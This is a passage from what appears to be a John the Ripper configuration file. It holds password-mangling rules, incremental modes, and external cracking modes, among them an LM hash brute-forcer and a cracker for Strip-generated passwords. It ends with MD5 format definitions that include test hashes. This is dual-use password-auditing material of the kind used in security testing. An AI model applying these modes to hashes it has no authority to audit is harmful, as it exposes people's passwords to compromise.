JohnSmith, johnSmith --p-c (?a 2 (?a c 1 [cl] -# JohnSmith -> john smith, john_smith, john-smith --p 1 <- $[ _\-] + l -# JohnSmith -> John smith, John_smith, John-smith --p-c 1 <- (?a c $[ _\-] 2 l -# JohnSmith -> john Smith, john_Smith, john-Smith --p-c 1 <- l $[ _\-] 2 (?a c -# johnsmith -> John Smith, John_Smith, John-Smith --p-c 1 <- (?a c $[ _\-] 2 (?a c -# Applying different simple rules to each of the two words --p-[c:] 1 \p1[ur] 2 l --p-c 2 (?a c 1 [ur] --p-[c:] 1 l 2 \p1[ur] --p-c 1 (?a c 2 [ur] -# jsmith -> smithj, etc... --[:c] (?a \p1[lc] [{}] --[:c] (?a \p1[lc] [{}] \0 -# Toggle case... --c <+ )?u l Tm --c T0 Q M c Q l Q u Q C Q X0z0 'l --c T[1-9A-E] Q M l Tm Q C Q u Q l Q c Q X0z0 'l --c l Q T[1-9A-E] Q M T\0 Q l Tm Q C Q u Q X0z0 'l --c >2 2 /?l /?u t Q M c Q C Q l Tm Q X0z0 'l -# Deleting chars... ->[2-8] D\p[1-7] ->[8-9A-E] D\1 --c /?u >[2-8] D\p[1-7] l --c /?u >[8-9A-E] D\1 l -=1?a \[ M c Q --c (?a >[1-9A-E] D\1 c -# Inserting a dot... --[:c] >3 (?a \p1[lc] i[12]. -# More suffix stuff... -<- l Az"[190][0-9]" --c <- (?a c Az"[190][0-9]" -<- l Az"[782][0-9]" --c <- (?a c Az"[782][0-9]" -<* l $[A-Z] --c <* (?a c $[A-Z] -# cracking -> CRACKiNG --c u /I sIi -# Crack96 -> cRACK96 -%2?a C Q -# Crack96 -> cRACK(^ -/?A S Q -# Crack96 -> CRaCK96 --c /?v V Q -# Really weird charset conversions, like "england" -> "rmh;smf" -:[RL] Q -l Q [RL] --c (?a c Q [RL] -:[RL] \0 Q -# Both prefixing and suffixing... -<- l ^[1!@#$%^&*\-=_+.?|:'"] $\1 -<- l ^[({[<] $\p[)}\]>] -# The rest of two-digit suffix stuff, less common numbers... -<- l Az"[63-5][0-9]" --c <- (?a c Az"[63-5][0-9]" -# Some three-digit numbers... --[:c] (?a \p1[lc] Az"007" <+ --[:c] (?a \p1[lc] Az"123" <+ --[:c] (?a \p1[lc] Az"[1-9]\0\0" <+ -# Some [birth] years... -l Az"19[7-96-0]" <+ >- -l Az"20[01]" <+ >- -l Az"19[7-9][0-9]" <+ -l Az"20[01][0-9]" <+ -l Az"19[6-0][9-0]" <+ -# Uncomment the following lines if you're really crazy -;# Insert/overstrike some characters... -;!?A >[1-6] l i\0[a-z] -;!?A l o0[a-z] -;!?A >[1-7] l o\0[a-z] -;# Toggle case everywhere (up to length 8), assuming that certain case -;# combinations were already tried. -;-c T1 Q M T0 Q -;-c T2 Q M T[z0] T[z1] Q -;-c T3 Q M T[z0] T[z1] T[z2] Q -;-c T4 Q M T[z0] T[z1] T[z2] T[z3] Q -;-c T5 Q M T[z0] T[z1] T[z2] T[z3] T[z4] Q -;-c T6 Q M T[z0] T[z1] T[z2] T[z3] T[z4] T[z5] Q -;-c T7 Q M T[z0] T[z1] T[z2] T[z3] T[z4] T[z5] T[z6] Q -;# Very slow stuff... -;l Az"[1-90][0-9][0-9]" <+ -;-c (?a c Az"[1-90][0-9][0-9]" <+ -;<[\-9] l A\p[z0]"[a-z][a-z]" -;<- l ^[a-z] $[a-z] - -# Wordlist mode rules -[List.Rules:Wordlist] -# Try words as they are -: -# Lowercase every pure alphanumeric word --c >3 !?X l Q -# Capitalize every pure alphanumeric word --c (?a >2 !?X c Q -# Lowercase and pluralize pure alphabetic words -<* >2 !?A l p -# Lowercase pure alphabetic words and append '1' -<* >2 !?A l $1 -# Capitalize pure alphabetic words and append '1' --c <* >2 !?A c $1 -# Duplicate reasonably short pure alphabetic words (fred -> fredfred) -<7 >1 !?A l d -# Lowercase and reverse pure alphabetic words ->3 !?A l M r Q -# Prefix pure alphabetic words with '1' ->2 !?A l ^1 -# Uppercase pure alphanumeric words --c >2 !?X u Q M c Q u -# Lowercase pure alphabetic words and append a digit or simple punctuation -<* >2 !?A l $[2!37954860.?] -# Words containing punctuation, which is then squeezed out, lowercase -/?p @?p >3 l -# Words with vowels removed, lowercase -/?v @?v >3 l -# Words containing whitespace, which is then squeezed out, lowercase -/?w @?w >3 l -# Capitalize and duplicate short pure alphabetic words (fred -> FredFred) --c <7 >1 !?A c d -# Capitalize and reverse pure alphabetic words (fred -> derF) --c <+ >2 !?A c r -# Reverse and capitalize pure alphabetic words (fred -> Derf) --c >2 !?A l M r Q c -# Lowercase and reflect pure alphabetic words (fred -> fredderf) -<7 >1 !?A l d M 'l f Q -# Uppercase the last letter of pure alphabetic words (fred -> freD) --c <+ >2 !?A l M r Q c r -# Prefix pure alphabetic words with '2' or '4' ->2 !?A l ^[24] -# Capitalize pure alphabetic words and append a digit or simple punctuation --c <* >2 !?A c $[2!3957468.?0] -# Prefix pure alphabetic words with digits ->2 !?A l ^[379568] -# Capitalize and pluralize pure alphabetic words of reasonable length --c <* >2 !?A c p -# Lowercase/capitalize pure alphabetic words of reasonable length and convert: -# crack -> cracked, crack -> cracking --[:c] <* >2 !?A \p1[lc] M [PI] Q -# Try the second half of split passwords --s x** --s-c x** M l Q - - -# Prepend "pass" -A0"[pP][aA][sS][sS]" - - -# Case toggler for cracking MD4-based NTLM hashes (with the contributed patch) -# given already cracked DES-based LM hashes. -# Rename this section to [List.Rules:Wordlist] to activate it. -[List.Rules:NT] -: --c T0Q --c T1QT[z0] --c T2QT[z0]T[z1] --c T3QT[z0]T[z1]T[z2] --c T4QT[z0]T[z1]T[z2]T[z3] --c T5QT[z0]T[z1]T[z2]T[z3]T[z4] --c T6QT[z0]T[z1]T[z2]T[z3]T[z4]T[z5] --c T7QT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]T[z6] --c T8QT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]T[z6]T[z7] --c T9QT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]T[z6]T[z7]T[z8] --c TAQT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]T[z6]T[z7]T[z8]T[z9] --c TBQT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]T[z6]T[z7]T[z8]T[z9]T[zA] --c TCQT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]T[z6]T[z7]T[z8]T[z9]T[zA]T[zB] --c TDQT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]T[z6]T[z7]T[z8]T[z9]T[zA]T[zB]T[zC] - -# Incremental modes -[Incremental:All] -File = $JOHN/all.chr -MinLen = 0 -MaxLen = 8 -CharCount = 95 - - -[Incremental:All4] -File = $JOHN/all.chr -MinLen = 0 -MaxLen = 4 -CharCount = 95 - -[Incremental:Alpha] -File = $JOHN/alpha.chr -MinLen = 1 -MaxLen = 8 -CharCount = 26 - -[Incremental:Digits] -File = $JOHN/digits.chr -MinLen = 1 -MaxLen = 8 -CharCount = 10 - -[Incremental:Digits5] -File = $JOHN/digits.chr -MinLen = 1 -MaxLen = 5 -CharCount = 10 - -[Incremental:Alnum] -File = $JOHN/alnum.chr -MinLen = 1 -MaxLen = 8 -CharCount = 36 - -[Incremental:LanMan] -File = $JOHN/lanman.chr -MinLen = 0 -MaxLen = 7 -CharCount = 69 - -# Some pre-defined word filters -[List.External:Filter_Alpha] -void filter() -{ - int i, c; - - i = 0; - while (c = word[i++]) - if (c < 'a' || c > 'z') { - word = 0; return; - } -} - -[List.External:Filter_Digits] -void filter() -{ - int i, c; - - i = 0; - while (c = word[i++]) - if (c < '0' || c > '9') { - word = 0; return; - } -} - -[List.External:Filter_Alnum] -void filter() -{ - int i, c; - - i = 0; - while (c = word[i++]) - if ((c < 'a' || c > 'z') && (c < '0' || c > '9')) { - word = 0; return; - } -} - -[List.External:Filter_No_Cap_or_Symbols] -void filter() -{ - int i, c; - - i = 0; - while (c = word[i++]) - if ((c < 'a' || c > 'z') && (c < '0' || c > '9')) { - return; - } - word = 0; return; -} - -[List.External:Filter_LanMan] -void filter() -{ - int i, c; - - word[7] = 0; // Truncate at 7 characters - - i = 0; // Convert to uppercase - while (c = word[i]) { - if (c >= 'a' && c <= 'z') word[i] &= 0xDF; - i++; - } -} - -# A simple cracker for LM hashes -[List.External:LanMan] -int length; // Current length - -void init() -{ - word[0] = 'A' - 1; // Start with "A" - word[length = 1] = 0; -} - -void generate() -{ - int i; - - i = length - 1; // Start from the last character - while (++word[i] > 'Z') // Try to increase it - if (i) // Overflow here, any more positions? - word[i--] = 'A'; // Yes, move to the left, and repeat - else // No - if (length < 7) { - word[i = ++length] = 0; // Switch to the next length - while (i--) - word[i] = 'A'; - return; - } else { - word = 0; return; // We're done - } -} - -void restore() -{ - length = 0; // Calculate the length - while (word[length]) length++; -} - -# Simple and well-commented, yet useful external mode example -[List.External:Double] -/* - * This cracking mode tries all the possible duplicated lowercase alphabetic - * "words" of up to 8 characters long. Since word halves are the same, it - * only has to try about 500,000 words. - */ - -/* Global variables: current length and word */ -int length, current[9]; - -/* Called at startup to initialize the global variables */ -void init() -{ - int i; - - i = length = 2; // Start with 4 character long words - while (i--) current[i] = 'a'; // Set our half-word to "aa" -} - -/* Generates a new word */ -void generate() -{ - int i; - -/* Export last generated word, duplicating it at the same time; here "word" - * is a pre-defined external variable. */ - word[(i = length) << 1] = 0; - while (i--) word[length + i] = word[i] = current[i]; - -/* Generate a new word */ - i = length - 1; // Start from the last character - while (++current[i] > 'z') // Try to increase it - if (i) // Overflow here, any more positions? - current[i--] = 'a'; // Yes, move to the left, and repeat - else { // No - current = 0; // Request a length switch - break; // Break out of the loop - } - -/* Switch to the next length, unless we were generating 8 character long - * words already. */ - if (!current && length < 4) { - i = ++length; - while (i--) current[i] = 'a'; - } -} - -/* Called when restoring an interrupted session */ -void restore() -{ - int i; - -/* Import the word back */ - i = 0; - while (current[i] = word[i]) i++; - -/* ...and calculate the half-word length */ - length = i >> 1; -} - -# Trivial parallel processing example -[List.External:Parallel] -/* - * This word filter makes John process some of the words only, for running - * multiple instances on different CPUs. It can be used with any cracking - * mode except for "single crack". Note: this is not a good solution, but - * is just an example of what can be done with word filters. - */ - -int node, total; // This node's number, and node count -int number; // Current word number - -void init() -{ - node = 1; total = 2; // Node 1 of 2, change as appropriate - number = node - 1; // Speedup the filter a bit -} - -void filter() -{ - if (number++ % total) // Word for a different node? - word = 0; // Yes, skip it -} - -# Strip 0.5 ("Secure Tool for Recalling Important Passwords") cracker, -# based on analysis done by Thomas Roessler and Ian Goldberg. This will -# crack passwords you may have generated with Strip; other uses of Strip -# are unaffected. -[List.External:Strip] -int minlength, maxlength, mintype, maxtype; -int crack_seed, length, type; -int count, charset[128]; - -void init() -{ - int c; - -/* Password lengths to try; Strip can generate passwords of 4 to 16 - * characters, but traditional crypt(3) hashes are limited to 8. */ - minlength = 4; // 4 - maxlength = 8; // 16 - -/* Password types to try (Numeric, Alpha-Num, Alpha-Num w/ Meta). */ - mintype = 0; // 0 - maxtype = 2; // 2 - - crack_seed = 0x10000; - length = minlength - 1; - type = mintype; - - count = 0; - c = '0'; while (c <= '9') charset[count++] = c++; -} - -void generate() -{ - int seed, random; - int i, c; - - if (crack_seed > 0xffff) { - crack_seed = 0; - - if (++length > maxlength) { - length = minlength; - - if (++type > maxtype) { - word[0] = 0; - return; - } - } - - count = 10; - if (type >= 1) { - c = 'a'; while (c <= 'f') charset[count++] = c++; - c = 'h'; while (c <= 'z') charset[count++] = c++; - c = 'A'; while (c <= 'Z') charset[count++] = c++; - } - if (type == 2) { - charset[count++] = '!'; - c = '#'; while (c <= '&') charset[count++] = c++; - c = '('; while (c <= '/') charset[count++] = c++; - c = '<'; while (c <= '>') charset[count++] = c++; - charset[count++] = '?'; charset[count++] = '@'; - charset[count++] = '['; charset[count++] = ']'; - charset[count++] = '^'; charset[count++] = '_'; - c = '{'; while (c <= '~') charset[count++] = c++; - } - } - - seed = (crack_seed++ << 16 >> 16) * 22695477 + 1; - - i = 0; - while (i < length) { - random = ((seed = seed * 22695477 + 1) >> 16) & 0x7fff; - word[i++] = charset[random % count]; - } - - word[i] = 0; -} - -# Try sequences of adjacent keys on a keyboard as candidate passwords -[List.External:Keyboard] -int maxlength, length; // Maximum password length to try, current length -int fuzz; // The desired "fuzz factor", either 0 or 1 -int id[15]; // Current character indices for each position -int m[0x400], mc[0x80]; // The keys matrix, counts of adjacent keys -int f[0x40], fc; // Characters for the first position, their count - -void init() -{ - int minlength; - int i, j, c, p; - int k[0x40]; - - minlength = 1; // Initial password length to try - maxlength = 15; // Maximum password length to try, up to 15 - fuzz = 1; // "Fuzz factor", set to 0 for much quicker runs - -/* - * This defines the keyboard layout, by default for a QWERTY keyboard. - * Please note that the sizes of m[] and mc[] arrays assume 7-bit - * characters and will need to be doubled for 8-bit characters such as - * umlauts. - */ - i = 0; while (i < 0x40) k[i++] = 0; - k[0] = '`'; - i = 0; while (++i <= 9) k[i] = '0' + i; - k[10] = '0'; k[11] = '-'; k[12] = '='; - k[0x11] = 'q'; k[0x12] = 'w'; k[0x13] = 'e'; k[0x14] = 'r'; - k[0x15] = 't'; k[0x16] = 'y'; k[0x17] = 'u'; k[0x18] = 'i'; - k[0x19] = 'o'; k[0x1a] = 'p'; k[0x1b] = '['; k[0x1c] = ']'; - k[0x1d] = '\\'; - k[0x21] = 'a'; k[0x22] = 's'; k[0x23] = 'd'; k[0x24] = 'f'; - k[0x25] = 'g'; k[0x26] = 'h'; k[0x27] = 'j'; k[0x28] = 'k'; - k[0x29] = 'l'; k[0x2a] = ';'; k[0x2b] = '\''; - k[0x31] = 'z'; k[0x32] = 'x'; k[0x33] = 'c'; k[0x34] = 'v'; - k[0x35] = 'b'; k[0x36] = 'n'; k[0x37] = 'm'; k[0x38] = ','; - k[0x39] = '.'; k[0x3a] = '/'; - - i = 0; while (i < 0x80) mc[i++] = 0; - fc = 0; - - /* rows */ - c = 0; - i = 0; - while (i < 0x40) { - p = c; - c = k[i++]; - if (!c) continue; - f[fc++] = c; - if (!p) continue; - m[(c << 3) + mc[c]++] = p; - m[(p << 3) + mc[p]++] = c; - } - f[fc] = 0; - - /* columns */ - i = 0; - while (i < 0x30) { - p = k[i++]; - if (!p) continue; - j = 1 - fuzz; - while (j <= 1 + fuzz) { - c = k[i + 0x10 - j++]; - if (!c) continue; - m[(c << 3) + mc[c]++] = p; - m[(p << 3) + mc[p]++] = c; - } - } - - id[0] = 0; - length = minlength; -} - -void generate() -{ - int i, p, maxcount; - - word[i = 0] = p = f[id[0]]; - while (++i < length) - word[i] = p = m[(p << 3) + id[i]]; - word[i--] = 0; - - if (i) maxcount = mc[word[i - 1]]; else maxcount = fc; - while (++id[i] >= maxcount) { - if (!i) { - if (length < maxlength) { - id[0] = 0; - id[length++] = 0; - } - return; - } - id[i--] = 0; - if (i) maxcount = mc[word[i - 1]]; else maxcount = fc; - } -} - -void restore() -{ - int i; - - /* Calculate the length */ - length = 0; - while (word[length]) length++; - - /* Infer the first character index */ - i = -1; - while (++i < fc) { - if (f[i] == word[0]) { - id[0] = i; - break; - } - } - - /* This sample can be enhanced to infer the rest of the indices here */ -} - -# Generic implementation of "dumb" exhaustive search, given a range of lengths -# and an arbitrary charset. This is pre-configured to try 8-bit characters -# against LM hashes, which is only reasonable to do for very short password -# half lengths. -[List.External:DumbForce] -int maxlength; // Maximum password length to try -int last; // Last character position, zero-based -int lastid; // Character index in the last position -int id[0x7f]; // Current character indices for other positions -int charset[0x100], c0; // Character set - -void init() -{ - int minlength; - int i, c; - - minlength = 1; // Initial password length to try, must be at least 1 - maxlength = 7; // Must be at least same as minlength - -/* - * This defines the character set. - * - * Let's say, we want to try TAB, all non-control ASCII characters, and all - * 8-bit characters, including the 8-bit terminal controls range (as these are - * used as regular national characters with some 8-bit encodings), but except - * for known terminal controls (risky for the terminal we may be running on). - * - * Also, let's say our hashes are case-insensitive, so skip lowercase letters - * (this is right for LM hashes). - */ - i = 0; - charset[i++] = 9; // Add horizontal TAB (ASCII 9), then - c = ' '; // start with space (ASCII 32) and - while (c < 'a') // proceed till lowercase 'a' - charset[i++] = c++; - c = 'z' + 1; // Skip lowercase letters and - while (c <= 0x7e) // proceed for all printable ASCII - charset[i++] = c++; - c++; // Skip DEL (ASCII 127) and - while (c < 0x84) // proceed over 8-bit codes till IND - charset[i++] = c++; - charset[i++] = 0x86; // Skip IND (84 hex) and NEL (85 hex) - charset[i++] = 0x87; - c = 0x89; // Skip HTS (88 hex) - while (c < 0x8d) // Proceed till RI (8D hex) - charset[i++] = c++; - c = 0x91; // Skip RI, SS2, SS3, DCS - while (c < 0x96) // Proceed till SPA (96 hex) - charset[i++] = c++; - charset[i++] = 0x99; // Skip SPA, EPA, SOS - c = 0xa0; // Skip DECID, CSI, ST, OSC, PM, APC - while (c <= 0xff) // Proceed with the rest of 8-bit codes - charset[i++] = c++; - -/* Zero-terminate it, and cache the first character */ - charset[i] = 0; - c0 = charset[0]; - - last = minlength - 1; - i = 0; - while (i <= last) { - id[i] = 0; - word[i++] = c0; - } - lastid = -1; - word[i] = 0; -} - -void generate() -{ - int i; - -/* Handle the typical case specially */ - if (word[last] = charset[++lastid]) return; - - lastid = 0; - word[i = last] = c0; - while (i--) { // Have a preceding position? - if (word[i] = charset[++id[i]]) return; - id[i] = 0; - word[i] = c0; - } - - if (++last < maxlength) { // Next length? - id[last] = lastid = 0; - word[last] = c0; - word[last + 1] = 0; - } else // We're done - word = 0; -} - -void restore() -{ - int i, c; - -/* Calculate the current length and infer the character indices */ - last = 0; - while (c = word[last]) { - i = 0; while (charset[i] != c && charset[i]) i++; - if (!charset[i]) i = 0; // Not found - id[last++] = i; - } - lastid = id[--last]; -} - -# Generic implementation of exhaustive search for a partially-known password. -# This is pre-configured for length 8, lowercase and uppercase letters in the -# first 4 positions (52 different characters), and digits in the remaining 4 -# positions - however, the corresponding part of init() may be modified to use -# arbitrary character sets or even fixed characters for each position. -[List.External:KnownForce] -int last; // Last character position, zero-based -int lastofs; // Last character position offset into charset[] -int lastid; // Current character index in the last position -int id[0x7f]; // Current character indices for other positions -int charset[0x7f00]; // Character sets, 0x100 elements for each position - -void init() -{ - int length; - int pos, ofs, i, c; - - length = 8; // Password length to try - -/* This defines the character sets for different character positions */ - pos = 0; - while (pos < 4) { - ofs = pos++ << 8; - i = 0; - c = 'a'; - while (c <= 'z') - charset[ofs + i++] = c++; - c = 'A'; - while (c <= 'Z') - charset[ofs + i++] = c++; - charset[ofs + i] = 0; - } - while (pos < length) { - ofs = pos++ << 8; - i = 0; - c = '0'; - while (c <= '9') - charset[ofs + i++] = c++; - charset[ofs + i] = 0; - } - - last = length - 1; - pos = -1; - while (++pos <= last) - word[pos] = charset[id[pos] = pos << 8]; - lastid = (lastofs = last << 8) - 1; - word[pos] = 0; -} - -void generate() -{ - int pos; - -/* Handle the typical case specially */ - if (word[last] = charset[++lastid]) return; - - word[pos = last] = charset[lastid = lastofs]; - while (pos--) { // Have a preceding position? - if (word[pos] = charset[++id[pos]]) return; - word[pos] = charset[id[pos] = pos << 8]; - } - - word = 0; // We're done -} - -void restore() -{ - int i, c; - -/* Calculate the current length and infer the character indices */ - last = 0; - while (c = word[last]) { - i = lastofs = last << 8; - while (charset[i] != c && charset[i]) i++; - if (!charset[i]) i = lastofs; // Not found - id[last++] = i; - } - lastid = id[--last]; -} - -# A variation of KnownForce configured to try likely date and time strings. -[List.External:DateTime] -int last; // Last character position, zero-based -int lastofs; // Last character position offset into charset[] -int lastid; // Current character index in the last position -int id[0x7f]; // Current character indices for other positions -int charset[0x7f00]; // Character sets, 0x100 elements for each position - -void init() -{ - int length; - int pos, ofs, i, c; - - length = 8; // Must be one of: 4, 5, 7, 8 - -/* This defines the character sets for different character positions */ - pos = 0; - while (pos < length - 6) { - ofs = pos++ << 8; - i = 0; - c = '0'; - while (c <= '9') - charset[ofs + i++] = c++; - charset[ofs + i] = 0; - } - if (pos) { - ofs = pos++ << 8; - charset[ofs] = '/'; - charset[ofs + 1] = '.'; - charset[ofs + 2] = ':'; - charset[ofs + 3] = 0; - } - while (pos < length - 3) { - ofs = pos++ << 8; - i = 0; - c = '0'; - while (c <= '9') - charset[ofs + i++] = c++; - charset[ofs + i] = 0; - } - ofs = pos++ << 8; - charset[ofs] = '/'; - charset[ofs + 1] = '.'; - charset[ofs + 2] = ':'; - charset[ofs + 3] = 0; - while (pos < length) { - ofs = pos++ << 8; - i = 0; - c = '0'; - while (c <= '9') - charset[ofs + i++] = c++; - charset[ofs + i] = 0; - } - - last = length - 1; - pos = -1; - while (++pos <= last) - word[pos] = charset[id[pos] = pos << 8]; - lastid = (lastofs = last << 8) - 1; - word[pos] = 0; -} - -void generate() -{ - int pos; - -/* Handle the typical case specially */ - if (word[last] = charset[++lastid]) return; - - word[pos = last] = charset[lastid = lastofs]; - while (pos--) { // Have a preceding position? - if (word[pos] = charset[++id[pos]]) return; - word[pos] = charset[id[pos] = pos << 8]; - } - - word = 0; // We're done -} - -void restore() -{ - int i, c; - -/* Calculate the current length and infer the character indices */ - last = 0; - while (c = word[last]) { - i = lastofs = last << 8; - while (charset[i] != c && charset[i]) i++; - if (!charset[i]) i = lastofs; // Not found - id[last++] = i; - } - lastid = id[--last]; -} - -# Try strings of repeated characters. -[List.External:Repeats] -int minlength, maxlength, minc, maxc, length, c; - -void init() -{ - minlength = 1; - maxlength = 72; - minc = 0x20; - maxc = 0xff; - - length = minlength; c = minc; -} - -void generate() -{ - int i; - - i = 0; - while (i < length) - word[i++] = c; - word[i] = 0; - - if (c++ < maxc) - return; - - c = minc; - if (++length > maxlength) - c = 0; // Will NUL out the next "word" and thus terminate -} - -# Generate candidate passwords from many small subsets of characters from a -# much larger full character set. This will test for passwords containing too -# few different characters. As currently implemented, this code will produce -# some duplicates, although their number is relatively small when the maximum -# number of different characters (the maxdiff setting) is significantly lower -# than the maximum length (the maxlength setting). Nevertheless, you may want -# to pass the resulting candidate passwords through "unique" if you intend to -# test them against hashes that are salted and/or of a slow to compute type. -[List.External:Subsets] -int minlength; // Minimum password length to try -int maxlength; // Maximum password length to try -int startdiff; // Initial number of characters in a subset to try -int maxdiff; // Maximum number of characters in a subset to try -int last; // Last character position, zero-based -int lastid; // Character index in the last position -int id[0x7f]; // Current character indices for other positions -int subset[0x100], c0; // Current subset -int subcount; // Number of characters in the current subset -int subid[0x100]; // Indices into charset[] of characters in subset[] -int charset[0x100]; // Full character set -int charcount; // Number of characters in the full charset - -void init() -{ - int i, c; - - minlength = 1; // Minimum password length to try, must be at least 1 - maxlength = 8; // Must be at least same as minlength - - startdiff = 1; // Initial number of different characters to try - maxdiff = 3; // Maximum number of different characters to try - -/* This defines the character set */ - i = 0; - c = 0x20; - while (c <= 0x7e) - charset[i++] = c++; - - if (maxdiff > (charcount = i)) - maxdiff = i; - if (maxdiff > maxlength) - maxdiff = maxlength; - -/* - * Initialize the variables such that generate() gets to its "next subset" - * code, which will initialize everything for real. - */ - subcount = (i = startdiff) - 1; - while (i--) - subid[i] = charcount; - subset[0] = c0 = 0; - last = maxlength - 1; - lastid = -1; -} - -void generate() -{ - int i; - -/* Handle the typical case specially */ - if (word[last] = subset[++lastid]) return; - - lastid = 0; - word[i = last] = c0; - while (i--) { // Have a preceding position? - if (word[i] = subset[++id[i]]) return; - id[i] = 0; - word[i] = c0; - } - - if (++last < maxlength) { // Next length? - id[last] = lastid = 0; - word[last] = c0; - word[last + 1] = 0; - return; - } - -/* Next subset */ - if (subcount) { - int j; - i = subcount - 1; - j = charcount; - while (++subid[i] >= j) { - if (i--) { - j--; - continue; - } - subid[i = 0] = 0; - subset[++subcount] = 0; - break; - } - } else { - subid[i = 0] = 0; - subset[++subcount] = 0; - } - subset[i] = charset[subid[i]]; - while (++i < subcount) - subset[i] = charset[subid[i] = subid[i - 1] + 1]; - - if (subcount > maxdiff) { - word = 0; // Done - return; - } - -/* - * We won't be able to fully use the subset if the length is smaller than the - * character count. We assume that we've tried all smaller subsets before, so - * we don't bother with such short lengths. - */ - if (minlength < subcount) - last = subcount - 1; - else - last = minlength - 1; - c0 = subset[0]; - i = 0; - while (i <= last) { - id[i] = 0; - word[i++] = c0; - } - lastid = 0; - word[i] = 0; -} - -# Simple password policy matching: require at least one digit. -[List.External:AtLeast1-Simple] -void filter() -{ - int i, c; - - i = 0; - while (c = word[i++]) - if (c >= '0' && c <= '9') - return; // Found at least one suitable character, good - - word = 0; // No suitable characters found, skip this "word" -} - -# The same password policy implemented in a more efficient and more generic -# fashion (easy to expand to include other "sufficient" characters as well). -[List.External:AtLeast1-Generic] -int mask[0x100]; - -void init() -{ - int c; - - mask[0] = 0; // Terminate the loop in filter() on NUL - c = 1; - while (c < 0x100) - mask[c++] = 1; // Continue looping in filter() on most chars - - c = '0'; - while (c <= '9') - mask[c++] = 0; // Terminate the loop in filter() on digits -} - -void filter() -{ - int i; - - i = -1; - while (mask[word[++i]]) - continue; - if (word[i]) - return; // Found at least one suitable character, good - - word = 0; // No suitable characters found, skip this "word" -} - -# An efficient and fairly generic password policy matcher. The policy to match -# is specified in the check at the end of filter() and in mask[]. For example, -# lowercase and uppercase letters may be treated the same by initializing the -# corresponding mask[] elements to the same value, then adjusting the value to -# check "seen" for accordingly. -[List.External:Policy] -int mask[0x100]; - -void init() -{ - int c; - - mask[0] = 0x100; - c = 1; - while (c < 0x100) - mask[c++] = 0x200; - - c = 'a'; - while (c <= 'z') - mask[c++] = 1; - c = 'A'; - while (c <= 'Z') - mask[c++] = 2; - c = '0'; - while (c <= '9') - mask[c++] = 4; -} - -void filter() -{ - int i, seen; - -/* - * This loop ends when we see NUL (sets 0x100) or a disallowed character - * (sets 0x200). - */ - i = -1; seen = 0; - while ((seen |= mask[word[++i]]) < 0x100) - continue; - -/* - * We should have seen at least one character of each type (which "add up" - * to 7) and then a NUL (adds 0x100), but not any other characters (would - * add 0x200). The length must be 8. - */ - if (seen != 0x107 || i != 8) - word = 0; // Does not conform to policy -} - -# Append the Luhn algorithm digit to arbitrary all-digit strings. Optimized -# for speed, not for size nor simplicity. The primary optimization trick is to -# compute the length and four sums in parallel (in two SIMD'ish variables). -# Then whether the length is even or odd determines which two of the four sums -# are actually used. Checks for non-digits and for NUL are packed into the -# SIMD'ish bitmasks as well. -[List.External:AppendLuhn] -int map1[0x100], map2[0x1fff]; - -void init() -{ - int i; - - map1[0] = ~0x7fffffff; - i = 1; - while (i < 0x100) - map1[i++] = ~0x7effffff; - i = -1; - while (++i < 10) - map1['0' + i] = i + ((i * 2 % 10 + i / 5) << 12); - i = -1; - while (++i < 0x1fff) { - if (i % 10) - map2[i] = '9' + 1 - i % 10; - else - map2[i] = '0'; - } -} - -void filter() -{ - int i, o, e; - - i = o = e = 0; - while ((o += map1[word[i++]]) >= 0) { - if ((e += map1[word[i++]]) >= 0) - continue; - if (e & 0x01000000) - return; // Not all-digit, leave unmodified - word[i--] = 0; - word[i] = map2[(e & 0xfff) + (o >> 12)]; - return; - } - if (o & 0x01000000) - return; // Not all-digit, leave unmodified - word[i--] = 0; - word[i] = map2[(o & 0xfff) + (e >> 12)]; -} - -# Here are some examples of GENERIC-MD5. -# Please refer to doc/MD5_GENERIC for documentation on how to set these up. - -#################################################################### -# Simple GENERIC-MD5 type for md5($p)^^4 (i.e. 4 steps of md5 recursively) -#################################################################### -[List.Generic:md5_gen(1001)] -# expression shown will be the string: md5_gen(1001) md5(md5(md5(md5($p)))) -Expression=md5(md5(md5(md5($p)))) -Flag=MGF_KEYS_INPUT -# here is the optimized 'script' to perform the md5 4 times on itself. -Func=MD5GenBaseFunc__crypt -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_from_last_output_to_input2_as_base16 -Func=MD5GenBaseFunc__crypt2 -Func=MD5GenBaseFunc__clean_input2_kwik -Func=MD5GenBaseFunc__append_from_last_output2_as_base16 -Func=MD5GenBaseFunc__crypt2 -Func=MD5GenBaseFunc__clean_input2_kwik -Func=MD5GenBaseFunc__append_from_last_output2_as_base16 -Func=MD5GenBaseFunc__crypt_in2_to_out1 -Test=md5_gen(1001)57200e13b490d4ae47d5e19be026b057:test1 -Test=md5_gen(1001)c6cc44f9e7fb7efcde62ba2e627a49c6:thatsworking -Test=md5_gen(1001)0ae9549604e539a249c1fa9f5e5fb73b:test3 - -#################################################################### -# Simple GENERIC-MD5 type for md5($p)^^5 (i.e. 5 steps of md5 recursively) -#################################################################### -[List.Generic:md5_gen(1002)] -# expression shown will be the string: md5_gen(1002) md5(md5(md5(md5(md5($p))))) -Expression=md5(md5(md5(md5(md5($p))))) -Flag=MGF_KEYS_INPUT -# here is the optimized 'script' to perform the md5 5 times on itself. -Func=MD5GenBaseFunc__crypt -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_from_last_output_to_input2_as_base16 -Func=MD5GenBaseFunc__crypt2 -Func=MD5GenBaseFunc__clean_input2_kwik -Func=MD5GenBaseFunc__append_from_last_output2_as_base16 -Func=MD5GenBaseFunc__crypt2 -Func=MD5GenBaseFunc__clean_input2_kwik -Func=MD5GenBaseFunc__append_from_last_output2_as_base16 -Func=MD5GenBaseFunc__crypt2 -Func=MD5GenBaseFunc__clean_input2_kwik -Func=MD5GenBaseFunc__append_from_last_output2_as_base16 -Func=MD5GenBaseFunc__crypt_in2_to_out1 -# These are test strings for this format. -Test=md5_gen(1002)25de8cd0b0cf69c5b5bc19c8ee64adab:test1 -Test=md5_gen(1002)a0b535420ea47849f7c2cc09a3ad0ac3:thatsworking -Test=md5_gen(1002)4cb029bd5b4ef79f785ca685caf17bf8:test3 - -#################################################################### -# Simple GENERIC-MD5 type for md5(md5($p).md5($p)) -#################################################################### 